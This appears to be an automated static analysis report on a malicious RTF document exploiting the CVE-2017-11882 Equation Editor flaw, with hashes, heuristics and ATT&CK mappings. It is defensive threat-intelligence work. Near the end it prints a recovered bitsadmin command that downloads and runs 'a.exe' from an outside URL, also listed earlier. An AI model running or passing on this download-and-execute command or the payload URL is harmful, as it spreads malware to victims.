Malicious RTF — malware analysis report

Static analysis result for SHA-256 a0736bed4bf19ab1…

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2018-04-30
MD5: 2cd239a8606c2a0a323294f2e2386d68 SHA-1: a2abab88bfb63a3ec805896c1c0d3ab280fafe1c SHA-256: a0736bed4bf19ab191cac9debe8d0c1e41ac00398679411a707c8e3cfa02d818
382 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This exploit is designed to execute a second-stage payload, likely the 'a.exe' file hosted at the provided URL, leading to client execution.

Heuristics 9

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mashhadani.com/z/a.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00000365.bin rtf-objdata-decoded RTF \objdata at offset 0x365 3546 bytes
SHA-256: 0672d154ececac22edbec11b41125be2cdb3f81b9d74c2c64e0b0e1a1df02711
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://mashhadani.com/z/a.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://mashhadani.com/z/a.exe %temp%\Zc.Exe&%temp%\Zc.Exe